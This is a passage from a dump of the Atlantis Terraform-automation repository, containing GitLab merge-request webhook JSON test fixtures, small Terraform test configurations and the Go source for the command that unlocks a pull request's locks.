Hoang\",\n      \"visibility_level\": 0,\n      \"path_with_namespace\": \"quan.hoang/atlantis-example\",\n      \"default_branch\": \"main\",\n      \"ci_config_path\": null,\n      \"homepage\": \"https://gitlab.com/quan.hoang/atlantis-example\",\n      \"url\": \"git@gitlab.com:quan.hoang/atlantis-example.git\",\n      \"ssh_url\": \"git@gitlab.com:quan.hoang/atlantis-example.git\",\n      \"http_url\": \"https://gitlab.com/quan.hoang/atlantis-example.git\"\n    },\n    \"last_commit\": {\n      \"id\": \"5ff66a1f7404deee915b50998c340e96d995f048\",\n      \"message\": \"New commit\\n\",\n      \"title\": \"New commit\",\n      \"timestamp\": \"2020-12-08T11:15:30+07:00\",\n      \"url\": \"https://gitlab.com/quan.hoang/atlantis-example/-/commit/5ff66a1f7404deee915b50998c340e96d995f048\",\n      \"author\": {\n        \"name\": \"Quan Hoang\",\n        \"email\": \"hdquan@pm.me\"\n      }\n    },\n    \"work_in_progress\": false,\n    \"total_time_spent\": 0,\n    \"human_total_time_spent\": null,\n    \"human_time_estimate\": null,\n    \"assignee_ids\": [\n      255\n    ],\n    \"state\": \"opened\",\n    \"action\": \"update\",\n    \"oldrev\": \"1ca7e340460796fe3eb17e2ea1b383ac4a1c95b7\"\n  },\n  \"labels\": [\n    {\n      \"id\": 340,\n      \"title\": \"aaaa\",\n      \"color\": \"#0033CC\",\n      \"project_id\": 910,\n      \"created_at\": \"2020-12-08 04:05:34 UTC\",\n      \"updated_at\": \"2020-12-08 04:05:34 UTC\",\n      \"template\": false,\n      \"description\": null,\n      \"type\": \"ProjectLabel\",\n      \"group_id\": null\n    }\n  ],\n  \"changes\": {\n    \"updated_at\": {\n      \"previous\": \"2020-12-08 04:11:57 UTC\",\n      \"current\": \"2020-12-08 04:15:39 UTC\"\n    }\n  },\n  \"repository\": {\n    \"name\": \"Test Gitlab Webhook\",\n    \"url\": \"git@gitlab.com:quan.hoang/atlantis-example.git\",\n    \"description\": \"\",\n    \"homepage\": \"https://gitlab.com/quan.hoang/atlantis-example\"\n  },\n  \"assignees\": [\n    {\n      \"name\": \"Quan Hoang\",\n      \"username\": \"quan.hoang\",\n      \"avatar_url\": \"https://gitlab.com/uploads/-/system/user/avatar/255/avatar.png\",\n      \"email\": \"hdquan@pm.me\"\n    }\n  ]\n}\n"
  },
  {
    "path": "server/events/testdata/gitlab-merge-request-event-update-reviewer.json",
    "content": "{\n    \"object_kind\": \"merge_request\",\n    \"event_type\": \"merge_request\",\n    \"user\": {\n      \"id\": 2,\n      \"name\": \"Simon Heather\",\n      \"username\": \"sheather\",\n      \"avatar_url\": \"https://secure.gravatar.com/avatar/000b3c2c6b410f2f327d6450faab4d88?s=80&d=identicon\",\n      \"email\": \"[REDACTED]\"\n    },\n    \"project\": {\n      \"id\": 2,\n      \"name\": \"test\",\n      \"description\": null,\n      \"web_url\": \"https://gitlab.lan/sheather/test\",\n      \"avatar_url\": null,\n      \"git_ssh_url\": \"git@gitlab.lan:sheather/test.git\",\n      \"git_http_url\": \"https://gitlab.lan/sheather/test.git\",\n      \"namespace\": \"Simon Heather\",\n      \"visibility_level\": 0,\n      \"path_with_namespace\": \"sheather/test\",\n      \"default_branch\": \"main\",\n      \"ci_config_path\": null,\n      \"homepage\": \"https://gitlab.lan/sheather/test\",\n      \"url\": \"git@gitlab.lan:sheather/test.git\",\n      \"ssh_url\": \"git@gitlab.lan:sheather/test.git\",\n      \"http_url\": \"https://gitlab.lan/sheather/test.git\"\n    },\n    \"object_attributes\": {\n      \"assignee_id\": null,\n      \"author_id\": 2,\n      \"created_at\": \"2023-07-02 15:59:31 UTC\",\n      \"description\": \"\",\n      \"head_pipeline_id\": 8,\n      \"id\": 3,\n      \"iid\": 3,\n      \"last_edited_at\": null,\n      \"last_edited_by_id\": null,\n      \"merge_commit_sha\": null,\n      \"merge_error\": null,\n      \"merge_params\": {\n        \"force_remove_source_branch\": \"1\"\n      },\n      \"merge_status\": \"can_be_merged\",\n      \"merge_user_id\": null,\n      \"merge_when_pipeline_succeeds\": false,\n      \"milestone_id\": null,\n      \"source_branch\": \"sheather-cloudfront-patch-92417\",\n      \"source_project_id\": 2,\n      \"state_id\": 1,\n      \"target_branch\": \"cloudfront\",\n      \"target_project_id\": 2,\n      \"time_estimate\": 0,\n      \"title\": \"Update live/aws/123456789012/develop/eu-west-2/cloudfront/main.tf\",\n      \"updated_at\": \"2023-07-02 16:49:20 UTC\",\n      \"updated_by_id\": 2,\n      \"url\": \"https://gitlab.lan/sheather/test/-/merge_requests/3\",\n      \"source\": {\n        \"id\": 2,\n        \"name\": \"test\",\n        \"description\": null,\n        \"web_url\": \"https://gitlab.lan/sheather/test\",\n        \"avatar_url\": null,\n        \"git_ssh_url\": \"git@gitlab.lan:sheather/test.git\",\n        \"git_http_url\": \"https://gitlab.lan/sheather/test.git\",\n        \"namespace\": \"Simon Heather\",\n        \"visibility_level\": 0,\n        \"path_with_namespace\": \"sheather/test\",\n        \"default_branch\": \"main\",\n        \"ci_config_path\": null,\n        \"homepage\": \"https://gitlab.lan/sheather/test\",\n        \"url\": \"git@gitlab.lan:sheather/test.git\",\n        \"ssh_url\": \"git@gitlab.lan:sheather/test.git\",\n        \"http_url\": \"https://gitlab.lan/sheather/test.git\"\n      },\n      \"target\": {\n        \"id\": 2,\n        \"name\": \"test\",\n        \"description\": null,\n        \"web_url\": \"https://gitlab.lan/sheather/test\",\n        \"avatar_url\": null,\n        \"git_ssh_url\": \"git@gitlab.lan:sheather/test.git\",\n        \"git_http_url\": \"https://gitlab.lan/sheather/test.git\",\n        \"namespace\": \"Simon Heather\",\n        \"visibility_level\": 0,\n        \"path_with_namespace\": \"sheather/test\",\n        \"default_branch\": \"main\",\n        \"ci_config_path\": null,\n        \"homepage\": \"https://gitlab.lan/sheather/test\",\n        \"url\": \"git@gitlab.lan:sheather/test.git\",\n        \"ssh_url\": \"git@gitlab.lan:sheather/test.git\",\n        \"http_url\": \"https://gitlab.lan/sheather/test.git\"\n      },\n      \"last_commit\": {\n        \"id\": \"386f281f2c9b1a3b659fc7a244ca6781174e1836\",\n        \"message\": \"Update main.tf\",\n        \"title\": \"Update main.tf\",\n        \"timestamp\": \"2023-07-02T16:33:22+00:00\",\n        \"url\": \"https://gitlab.lan/sheather/test/-/commit/386f281f2c9b1a3b659fc7a244ca6781174e1836\",\n        \"author\": {\n          \"name\": \"Simon Heather\",\n          \"email\": \"[REDACTED]\"\n        }\n      },\n      \"work_in_progress\": false,\n      \"total_time_spent\": 0,\n      \"time_change\": 0,\n      \"human_total_time_spent\": null,\n      \"human_time_change\": null,\n      \"human_time_estimate\": null,\n      \"assignee_ids\": [\n  \n      ],\n      \"reviewer_ids\": [\n        2\n      ],\n      \"labels\": [\n  \n      ],\n      \"state\": \"opened\",\n      \"blocking_discussions_resolved\": true,\n      \"first_contribution\": false,\n      \"detailed_merge_status\": \"ci_must_pass\",\n      \"action\": \"update\"\n    },\n    \"labels\": [\n  \n    ],\n    \"changes\": {\n      \"updated_at\": {\n        \"previous\": \"2023-07-02 16:33:56 UTC\",\n        \"current\": \"2023-07-02 16:49:20 UTC\"\n      },\n      \"reviewers\": {\n        \"previous\": [\n  \n        ],\n        \"current\": [\n          {\n            \"id\": 2,\n            \"name\": \"Simon Heather\",\n            \"username\": \"sheather\",\n            \"avatar_url\": \"https://secure.gravatar.com/avatar/000b3c2c6b410f2f327d6450faab4d88?s=80&d=identicon\",\n            \"email\": \"[REDACTED]\"\n          }\n        ]\n      }\n    },\n    \"repository\": {\n      \"name\": \"test\",\n      \"url\": \"git@gitlab.lan:sheather/test.git\",\n      \"description\": null,\n      \"homepage\": \"https://gitlab.lan/sheather/test\"\n    },\n    \"reviewers\": [\n      {\n        \"id\": 2,\n        \"name\": \"Simon Heather\",\n        \"username\": \"sheather\",\n        \"avatar_url\": \"https://secure.gravatar.com/avatar/000b3c2c6b410f2f327d6450faab4d88?s=80&d=identicon\",\n        \"email\": \"[REDACTED]\"\n      }\n    ]\n  }\n"
  },
  {
    "path": "server/events/testdata/gitlab-merge-request-event-update-target-branch.json",
    "content": "{\n  \"object_kind\": \"merge_request\",\n  \"event_type\": \"merge_request\",\n  \"user\": {\n    \"name\": \"Quan Hoang\",\n    \"username\": \"quan.hoang\",\n    \"avatar_url\": \"https://gitlab.com/uploads/-/system/user/avatar/255/avatar.png\",\n    \"email\": \"hdquan@pm.me\"\n  },\n  \"project\": {\n    \"id\": 910,\n    \"name\": \"Test Gitlab Webhook\",\n    \"description\": \"\",\n    \"web_url\": \"https://gitlab.com/quan.hoang/atlantis-example\",\n    \"avatar_url\": null,\n    \"git_ssh_url\": \"git@gitlab.com:quan.hoang/atlantis-example.git\",\n    \"git_http_url\": \"https://gitlab.com/quan.hoang/atlantis-example.git\",\n    \"namespace\": \"Quan Hoang\",\n    \"visibility_level\": 0,\n    \"path_with_namespace\": \"quan.hoang/atlantis-example\",\n    \"default_branch\": \"main\",\n    \"ci_config_path\": null,\n    \"homepage\": \"https://gitlab.com/quan.hoang/atlantis-example\",\n    \"url\": \"git@gitlab.com:quan.hoang/atlantis-example.git\",\n    \"ssh_url\": \"git@gitlab.com:quan.hoang/atlantis-example.git\",\n    \"http_url\": \"https://gitlab.com/quan.hoang/atlantis-example.git\"\n  },\n  \"object_attributes\": {\n    \"assignee_id\": 19,\n    \"author_id\": 255,\n    \"created_at\": \"2020-12-08 04:04:23 UTC\",\n    \"description\": \"New description\",\n    \"head_pipeline_id\": null,\n    \"id\": 41728,\n    \"iid\": 3,\n    \"last_edited_at\": \"2020-12-08 04:05:16 UTC\",\n    \"last_edited_by_id\": 255,\n    \"merge_commit_sha\": null,\n    \"merge_error\": null,\n    \"merge_params\": {\n      \"force_remove_source_branch\": \"1\"\n    },\n    \"merge_status\": \"unchecked\",\n    \"merge_user_id\": null,\n    \"merge_when_pipeline_succeeds\": false,\n    \"milestone_id\": null,\n    \"source_branch\": \"get-event-payload\",\n    \"source_project_id\": 910,\n    \"state_id\": 1,\n    \"target_branch\": \"demo-1\",\n    \"target_project_id\": 910,\n    \"time_estimate\": 0,\n    \"title\": \"Add new file\",\n    \"updated_at\": \"2020-12-08 04:07:12 UTC\",\n    \"updated_by_id\": 255,\n    \"url\": \"https://gitlab.com/quan.hoang/atlantis-example/-/merge_requests/3\",\n    \"source\": {\n      \"id\": 910,\n      \"name\": \"Test Gitlab Webhook\",\n      \"description\": \"\",\n      \"web_url\": \"https://gitlab.com/quan.hoang/atlantis-example\",\n      \"avatar_url\": null,\n      \"git_ssh_url\": \"git@gitlab.com:quan.hoang/atlantis-example.git\",\n      \"git_http_url\": \"https://gitlab.com/quan.hoang/atlantis-example.git\",\n      \"namespace\": \"Quan Hoang\",\n      \"visibility_level\": 0,\n      \"path_with_namespace\": \"quan.hoang/atlantis-example\",\n      \"default_branch\": \"main\",\n      \"ci_config_path\": null,\n      \"homepage\": \"https://gitlab.com/quan.hoang/atlantis-example\",\n      \"url\": \"git@gitlab.com:quan.hoang/atlantis-example.git\",\n      \"ssh_url\": \"git@gitlab.com:quan.hoang/atlantis-example.git\",\n      \"http_url\": \"https://gitlab.com/quan.hoang/atlantis-example.git\"\n    },\n    \"target\": {\n      \"id\": 910,\n      \"name\": \"Test Gitlab Webhook\",\n      \"description\": \"\",\n      \"web_url\": \"https://gitlab.com/quan.hoang/atlantis-example\",\n      \"avatar_url\": null,\n      \"git_ssh_url\": \"git@gitlab.com:quan.hoang/atlantis-example.git\",\n      \"git_http_url\": \"https://gitlab.com/quan.hoang/atlantis-example.git\",\n      \"namespace\": \"Quan Hoang\",\n      \"visibility_level\": 0,\n      \"path_with_namespace\": \"quan.hoang/atlantis-example\",\n      \"default_branch\": \"main\",\n      \"ci_config_path\": null,\n      \"homepage\": \"https://gitlab.com/quan.hoang/atlantis-example\",\n      \"url\": \"git@gitlab.com:quan.hoang/atlantis-example.git\",\n      \"ssh_url\": \"git@gitlab.com:quan.hoang/atlantis-example.git\",\n      \"http_url\": \"https://gitlab.com/quan.hoang/atlantis-example.git\"\n    },\n    \"last_commit\": {\n      \"id\": \"1ca7e340460796fe3eb17e2ea1b383ac4a1c95b7\",\n      \"message\": \"Add abc.txt\\n\",\n      \"title\": \"Add abc.txt\",\n      \"timestamp\": \"2020-12-08T11:03:29+07:00\",\n      \"url\": \"https://gitlab.com/quan.hoang/atlantis-example/-/commit/1ca7e340460796fe3eb17e2ea1b383ac4a1c95b7\",\n      \"author\": {\n        \"name\": \"Quan Hoang\",\n        \"email\": \"hdquan@pm.me\"\n      }\n    },\n    \"work_in_progress\": false,\n    \"total_time_spent\": 0,\n    \"human_total_time_spent\": null,\n    \"human_time_estimate\": null,\n    \"assignee_ids\": [\n      19,\n      255\n    ],\n    \"state\": \"opened\",\n    \"action\": \"update\"\n  },\n  \"labels\": [\n    {\n      \"id\": 340,\n      \"title\": \"aaaa\",\n      \"color\": \"#0033CC\",\n      \"project_id\": 910,\n      \"created_at\": \"2020-12-08 04:05:34 UTC\",\n      \"updated_at\": \"2020-12-08 04:05:34 UTC\",\n      \"template\": false,\n      \"description\": null,\n      \"type\": \"ProjectLabel\",\n      \"group_id\": null\n    }\n  ],\n  \"changes\": {\n    \"merge_status\": {\n      \"previous\": \"can_be_merged\",\n      \"current\": \"unchecked\"\n    }\n  },\n  \"repository\": {\n    \"name\": \"Test Gitlab Webhook\",\n    \"url\": \"git@gitlab.com:quan.hoang/atlantis-example.git\",\n    \"description\": \"\",\n    \"homepage\": \"https://gitlab.com/quan.hoang/atlantis-example\"\n  },\n  \"assignees\": [\n    {\n      \"name\": \"Quan Hoang\",\n      \"username\": \"quan.hoang\",\n      \"avatar_url\": \"https://gitlab.com/uploads/-/system/user/avatar/255/avatar.png\",\n      \"email\": \"hdquan@pm.me\"\n    }\n  ]\n}\n"
  },
  {
    "path": "server/events/testdata/gitlab-merge-request-event-update-title.json",
    "content": "{\n  \"object_kind\": \"merge_request\",\n  \"event_type\": \"merge_request\",\n  \"user\": {\n    \"name\": \"Quan Hoang\",\n    \"username\": \"quan.hoang\",\n    \"avatar_url\": \"https://gitlab.com/uploads/-/system/user/avatar/255/avatar.png\",\n    \"email\": \"hdquan@pm.me\"\n  },\n  \"project\": {\n    \"id\": 910,\n    \"name\": \"Test Gitlab Webhook\",\n    \"description\": \"\",\n    \"web_url\": \"https://gitlab.com/quan.hoang/atlantis-example\",\n    \"avatar_url\": null,\n    \"git_ssh_url\": \"git@gitlab.com:quan.hoang/atlantis-example.git\",\n    \"git_http_url\": \"https://gitlab.com/quan.hoang/atlantis-example.git\",\n    \"namespace\": \"Quan Hoang\",\n    \"visibility_level\": 0,\n    \"path_with_namespace\": \"quan.hoang/atlantis-example\",\n    \"default_branch\": \"main\",\n    \"ci_config_path\": null,\n    \"homepage\": \"https://gitlab.com/quan.hoang/atlantis-example\",\n    \"url\": \"git@gitlab.com:quan.hoang/atlantis-example.git\",\n    \"ssh_url\": \"git@gitlab.com:quan.hoang/atlantis-example.git\",\n    \"http_url\": \"https://gitlab.com/quan.hoang/atlantis-example.git\"\n  },\n  \"object_attributes\": {\n    \"assignee_id\": null,\n    \"author_id\": 255,\n    \"created_at\": \"2020-12-08 04:04:23 UTC\",\n    \"description\": \"description\",\n    \"head_pipeline_id\": null,\n    \"id\": 41728,\n    \"iid\": 3,\n    \"last_edited_at\": \"2020-12-08 04:04:56 UTC\",\n    \"last_edited_by_id\": 255,\n    \"merge_commit_sha\": null,\n    \"merge_error\": null,\n    \"merge_params\": {\n      \"force_remove_source_branch\": \"1\"\n    },\n    \"merge_status\": \"can_be_merged\",\n    \"merge_user_id\": null,\n    \"merge_when_pipeline_succeeds\": false,\n    \"milestone_id\": null,\n    \"source_branch\": \"get-event-payload\",\n    \"source_project_id\": 910,\n    \"state_id\": 1,\n    \"target_branch\": \"main\",\n    \"target_project_id\": 910,\n    \"time_estimate\": 0,\n    \"title\": \"Add new file\",\n    \"updated_at\": \"2020-12-08 04:04:56 UTC\",\n    \"updated_by_id\": 255,\n    \"url\": \"https://gitlab.com/quan.hoang/atlantis-example/-/merge_requests/3\",\n    \"source\": {\n      \"id\": 910,\n      \"name\": \"Test Gitlab Webhook\",\n      \"description\": \"\",\n      \"web_url\": \"https://gitlab.com/quan.hoang/atlantis-example\",\n      \"avatar_url\": null,\n      \"git_ssh_url\": \"git@gitlab.com:quan.hoang/atlantis-example.git\",\n      \"git_http_url\": \"https://gitlab.com/quan.hoang/atlantis-example.git\",\n      \"namespace\": \"Quan Hoang\",\n      \"visibility_level\": 0,\n      \"path_with_namespace\": \"quan.hoang/atlantis-example\",\n      \"default_branch\": \"main\",\n      \"ci_config_path\": null,\n      \"homepage\": \"https://gitlab.com/quan.hoang/atlantis-example\",\n      \"url\": \"git@gitlab.com:quan.hoang/atlantis-example.git\",\n      \"ssh_url\": \"git@gitlab.com:quan.hoang/atlantis-example.git\",\n      \"http_url\": \"https://gitlab.com/quan.hoang/atlantis-example.git\"\n    },\n    \"target\": {\n      \"id\": 910,\n      \"name\": \"Test Gitlab Webhook\",\n      \"description\": \"\",\n      \"web_url\": \"https://gitlab.com/quan.hoang/atlantis-example\",\n      \"avatar_url\": null,\n      \"git_ssh_url\": \"git@gitlab.com:quan.hoang/atlantis-example.git\",\n      \"git_http_url\": \"https://gitlab.com/quan.hoang/atlantis-example.git\",\n      \"namespace\": \"Quan Hoang\",\n      \"visibility_level\": 0,\n      \"path_with_namespace\": \"quan.hoang/atlantis-example\",\n      \"default_branch\": \"main\",\n      \"ci_config_path\": null,\n      \"homepage\": \"https://gitlab.com/quan.hoang/atlantis-example\",\n      \"url\": \"git@gitlab.com:quan.hoang/atlantis-example.git\",\n      \"ssh_url\": \"git@gitlab.com:quan.hoang/atlantis-example.git\",\n      \"http_url\": \"https://gitlab.com/quan.hoang/atlantis-example.git\"\n    },\n    \"last_commit\": {\n      \"id\": \"1ca7e340460796fe3eb17e2ea1b383ac4a1c95b7\",\n      \"message\": \"Add abc.txt\\n\",\n      \"title\": \"Add abc.txt\",\n      \"timestamp\": \"2020-12-08T11:03:29+07:00\",\n      \"url\": \"https://gitlab.com/quan.hoang/atlantis-example/-/commit/1ca7e340460796fe3eb17e2ea1b383ac4a1c95b7\",\n      \"author\": {\n        \"name\": \"Quan Hoang\",\n        \"email\": \"hdquan@pm.me\"\n      }\n    },\n    \"work_in_progress\": false,\n    \"total_time_spent\": 0,\n    \"human_total_time_spent\": null,\n    \"human_time_estimate\": null,\n    \"assignee_ids\": [],\n    \"state\": \"opened\",\n    \"action\": \"update\"\n  },\n  \"labels\": [],\n  \"changes\": {\n    \"last_edited_at\": {\n      \"previous\": null,\n      \"current\": \"2020-12-08 04:04:56 UTC\"\n    },\n    \"last_edited_by_id\": {\n      \"previous\": null,\n      \"current\": 255\n    },\n    \"title\": {\n      \"previous\": \"Add abc.txt\",\n      \"current\": \"Add new file\"\n    },\n    \"updated_at\": {\n      \"previous\": \"2020-12-08 04:04:23 UTC\",\n      \"current\": \"2020-12-08 04:04:56 UTC\"\n    },\n    \"updated_by_id\": {\n      \"previous\": null,\n      \"current\": 255\n    }\n  },\n  \"repository\": {\n    \"name\": \"Test Gitlab Webhook\",\n    \"url\": \"git@gitlab.com:quan.hoang/atlantis-example.git\",\n    \"description\": \"\",\n    \"homepage\": \"https://gitlab.com/quan.hoang/atlantis-example\"\n  }\n}\n"
  },
  {
    "path": "server/events/testdata/gitlab-merge-request-event.json",
    "content": "{\n  \"object_kind\": \"merge_request\",\n  \"event_type\": \"merge_request\",\n  \"user\": {\n    \"name\": \"Luke Kysow\",\n    \"username\": \"lkysow\",\n    \"avatar_url\": \"https://secure.gravatar.com/avatar/25fd57e71590fe28736624ff24d41c5f?s=80&d=identicon\"\n  },\n  \"project\": {\n    \"id\": 4580910,\n    \"name\": \"atlantis-example\",\n    \"description\": \"\",\n    \"web_url\": \"https://gitlab.com/lkysow/atlantis-example\",\n    \"avatar_url\": null,\n    \"git_ssh_url\": \"git@gitlab.com:lkysow/atlantis-example.git\",\n    \"git_http_url\": \"https://gitlab.com/lkysow/atlantis-example.git\",\n    \"namespace\": \"lkysow\",\n    \"visibility_level\": 20,\n    \"path_with_namespace\": \"lkysow/atlantis-example\",\n    \"default_branch\": \"main\",\n    \"ci_config_path\": null,\n    \"homepage\": \"https://gitlab.com/lkysow/atlantis-example\",\n    \"url\": \"git@gitlab.com:lkysow/atlantis-example.git\",\n    \"ssh_url\": \"git@gitlab.com:lkysow/atlantis-example.git\",\n    \"http_url\": \"https://gitlab.com/lkysow/atlantis-example.git\"\n  },\n  \"object_attributes\": {\n    \"assignee_id\": null,\n    \"author_id\": 1755902,\n    \"created_at\": \"2018-12-12 16:15:21 UTC\",\n    \"description\": \"\",\n    \"head_pipeline_id\": null,\n    \"id\": 20809239,\n    \"iid\": 12,\n    \"last_edited_at\": null,\n    \"last_edited_by_id\": null,\n    \"merge_commit_sha\": null,\n    \"merge_error\": null,\n    \"merge_params\": {\n      \"force_remove_source_branch\": false\n    },\n    \"merge_status\": \"unchecked\",\n    \"merge_user_id\": null,\n    \"merge_when_pipeline_succeeds\": false,\n    \"milestone_id\": null,\n    \"source_branch\": \"patch-1\",\n    \"source_project_id\": 4580910,\n    \"state\": \"opened\",\n    \"target_branch\": \"main\",\n    \"target_project_id\": 4580910,\n    \"time_estimate\": 0,\n    \"title\": \"Update main.tf\",\n    \"updated_at\": \"2018-12-12 16:15:21 UTC\",\n    \"updated_by_id\": null,\n    \"url\": \"https://gitlab.com/lkysow/atlantis-example/merge_requests/12\",\n    \"source\": {\n      \"id\": 4580910,\n      \"name\": \"atlantis-example\",\n      \"description\": \"\",\n      \"web_url\": \"https://gitlab.com/sourceorg/atlantis-example\",\n      \"avatar_url\": null,\n      \"git_ssh_url\": \"git@gitlab.com:sourceorg/atlantis-example.git\",\n      \"git_http_url\": \"https://gitlab.com/sourceorg/atlantis-example.git\",\n      \"namespace\": \"sourceorg\",\n      \"visibility_level\": 20,\n      \"path_with_namespace\": \"sourceorg/atlantis-example\",\n      \"default_branch\": \"main\",\n      \"ci_config_path\": null,\n      \"homepage\": \"https://gitlab.com/sourceorg/atlantis-example\",\n      \"url\": \"git@gitlab.com:sourceorg/atlantis-example.git\",\n      \"ssh_url\": \"git@gitlab.com:sourceorg/atlantis-example.git\",\n      \"http_url\": \"https://gitlab.com/sourceorg/atlantis-example.git\"\n    },\n    \"target\": {\n      \"id\": 4580910,\n      \"name\": \"atlantis-example\",\n      \"description\": \"\",\n      \"web_url\": \"https://gitlab.com/lkysow/atlantis-example\",\n      \"avatar_url\": null,\n      \"git_ssh_url\": \"git@gitlab.com:lkysow/atlantis-example.git\",\n      \"git_http_url\": \"https://gitlab.com/lkysow/atlantis-example.git\",\n      \"namespace\": \"lkysow\",\n      \"visibility_level\": 20,\n      \"path_with_namespace\": \"lkysow/atlantis-example\",\n      \"default_branch\": \"main\",\n      \"ci_config_path\": null,\n      \"homepage\": \"https://gitlab.com/lkysow/atlantis-example\",\n      \"url\": \"git@gitlab.com:lkysow/atlantis-example.git\",\n      \"ssh_url\": \"git@gitlab.com:lkysow/atlantis-example.git\",\n      \"http_url\": \"https://gitlab.com/lkysow/atlantis-example.git\"\n    },\n    \"last_commit\": {\n      \"id\": \"d2eae324ca26242abca45d7b49d582cddb2a4f15\",\n      \"message\": \"Update main.tf\",\n      \"timestamp\": \"2018-12-12T16:15:10Z\",\n      \"url\": \"https://gitlab.com/lkysow/atlantis-example/commit/d2eae324ca26242abca45d7b49d582cddb2a4f15\",\n      \"author\": {\n        \"name\": \"Luke Kysow\",\n        \"email\": \"lkysow@gmail.com\"\n      }\n    },\n    \"work_in_progress\": false,\n    \"total_time_spent\": 0,\n    \"human_total_time_spent\": null,\n    \"human_time_estimate\": null,\n    \"action\": \"open\"\n  },\n  \"labels\": [\n\n  ],\n  \"changes\": {\n    \"author_id\": {\n      \"previous\": null,\n      \"current\": 1755902\n    },\n    \"created_at\": {\n      \"previous\": null,\n      \"current\": \"2018-12-12 16:15:21 UTC\"\n    },\n    \"description\": {\n      \"previous\": null,\n      \"current\": \"\"\n    },\n    \"id\": {\n      \"previous\": null,\n      \"current\": 20809239\n    },\n    \"iid\": {\n      \"previous\": null,\n      \"current\": 12\n    },\n    \"merge_params\": {\n      \"previous\": {\n      },\n      \"current\": {\n        \"force_remove_source_branch\": false\n      }\n    },\n    \"source_branch\": {\n      \"previous\": null,\n      \"current\": \"patch-1\"\n    },\n    \"source_project_id\": {\n      \"previous\": null,\n      \"current\": 4580910\n    },\n    \"target_branch\": {\n      \"previous\": null,\n      \"current\": \"main\"\n    },\n    \"target_project_id\": {\n      \"previous\": null,\n      \"current\": 4580910\n    },\n    \"title\": {\n      \"previous\": null,\n      \"current\": \"Update main.tf\"\n    },\n    \"updated_at\": {\n      \"previous\": null,\n      \"current\": \"2018-12-12 16:15:21 UTC\"\n    },\n    \"total_time_spent\": {\n      \"previous\": null,\n      \"current\": 0\n    }\n  },\n  \"repository\": {\n    \"name\": \"atlantis-example\",\n    \"url\": \"git@gitlab.com:lkysow/atlantis-example.git\",\n    \"description\": \"\",\n    \"homepage\": \"https://gitlab.com/lkysow/atlantis-example\"\n  }\n}\n"
  },
  {
    "path": "server/events/testdata/test-repos/cloud-block-without-workspace-name/main.tf",
    "content": "terraform {\n  required_version = \">=1.2\"\n  cloud {\n    organization = \"atlantis-test\"\n    workspaces {\n      tags = [\"example\", \"tag\"]\n    }\n  }\n}\n"
  },
  {
    "path": "server/events/testdata/test-repos/no-cloud-block/main.tf",
    "content": "terraform {\n  required_version = \">=1.2\"\n}\n"
  },
  {
    "path": "server/events/testdata/test-repos/workspace-configured/main.tf",
    "content": "terraform {\n  required_version = \">=1.2\"\n  cloud {\n    organization = \"atlantis-test\"\n    workspaces {\n      name = \"test-workspace\"\n    }\n  }\n}\n"
  },
  {
    "path": "server/events/unlock_command_runner.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage events\n\nimport (\n\t\"slices\"\n\n\t\"github.com/runatlantis/atlantis/server/events/command\"\n\t\"github.com/runatlantis/atlantis/server/events/vcs\"\n)\n\nfunc NewUnlockCommandRunner(\n\tdeleteLockCommand DeleteLockCommand,\n\tvcsClient vcs.Client,\n\tSilenceNoProjects bool,\n\tDisableUnlockLabel string,\n) *UnlockCommandRunner {\n\treturn &UnlockCommandRunner{\n\t\tdeleteLockCommand:  deleteLockCommand,\n\t\tvcsClient:          vcsClient,\n\t\tSilenceNoProjects:  SilenceNoProjects,\n\t\tDisableUnlockLabel: DisableUnlockLabel,\n\t}\n}\n\ntype UnlockCommandRunner struct {\n\tvcsClient         vcs.Client\n\tdeleteLockCommand DeleteLockCommand\n\t// SilenceNoProjects is whether Atlantis should respond to PRs if no projects\n\t// are found\n\tSilenceNoProjects  bool\n\tDisableUnlockLabel string\n}\n\nfunc (u *UnlockCommandRunner) Run(ctx *command.Context, _ *CommentCommand) {\n\tbaseRepo := ctx.Pull.BaseRepo\n\tpullNum := ctx.Pull.Num\n\tdisableUnlockLabel := u.DisableUnlockLabel\n\n\tctx.Log.Info(\"Unlocking all locks\")\n\tvcsMessage := \"All Atlantis locks for this PR have been unlocked and plans discarded\"\n\n\tvar hasLabel bool\n\tvar err error\n\tif disableUnlockLabel != \"\" {\n\t\tvar labels []string\n\t\tlabels, err = u.vcsClient.GetPullLabels(ctx.Log, baseRepo, ctx.Pull)\n\t\tif err != nil {\n\t\t\tvcsMessage = \"Failed to retrieve PR labels... Not unlocking\"\n\t\t\tctx.Log.Err(\"Failed to retrieve PR labels for pull %s\", err.Error())\n\t\t}\n\t\thasLabel = slices.Contains(labels, disableUnlockLabel)\n\t\tif hasLabel {\n\t\t\tvcsMessage = \"Not allowed to unlock PR with \" + disableUnlockLabel + \" label\"\n\t\t\tctx.Log.Info(\"Not allowed to unlock PR with %v label\", disableUnlockLabel)\n\t\t}\n\t}\n\n\tvar numLocks int\n\tif err == nil && !hasLabel {\n\t\tnumLocks, err = u.deleteLockCommand.DeleteLocksByPull(ctx.Log, baseRepo.FullName, pullNum)\n\t\tif err != nil {\n\t\t\tvcsMessage = \"Failed to delete PR locks\"\n\t\t\tctx.Log.Err(\"failed to delete locks by pull %s\", err.Error())\n\t\t}\n\t}\n\n\t// if there are no locks to delete, no errors, and SilenceNoProjects is enabled, don't comment\n\tif err == nil && numLocks == 0 {\n\t\tctx.Log.Info(\"No locks to delete\")\n\t\tif u.SilenceNoProjects {\n\t\t\treturn\n\t\t}\n\t}\n\n\tif commentErr := u.vcsClient.CreateComment(ctx.Log, baseRepo, pullNum, vcsMessage, command.Unlock.String()); commentErr != nil {\n\t\tctx.Log.Err(\"unable to comment: %s\", commentErr)\n\t}\n}\n"
  },
  {
    "path": "server/events/var_file_allowlist_checker.go",
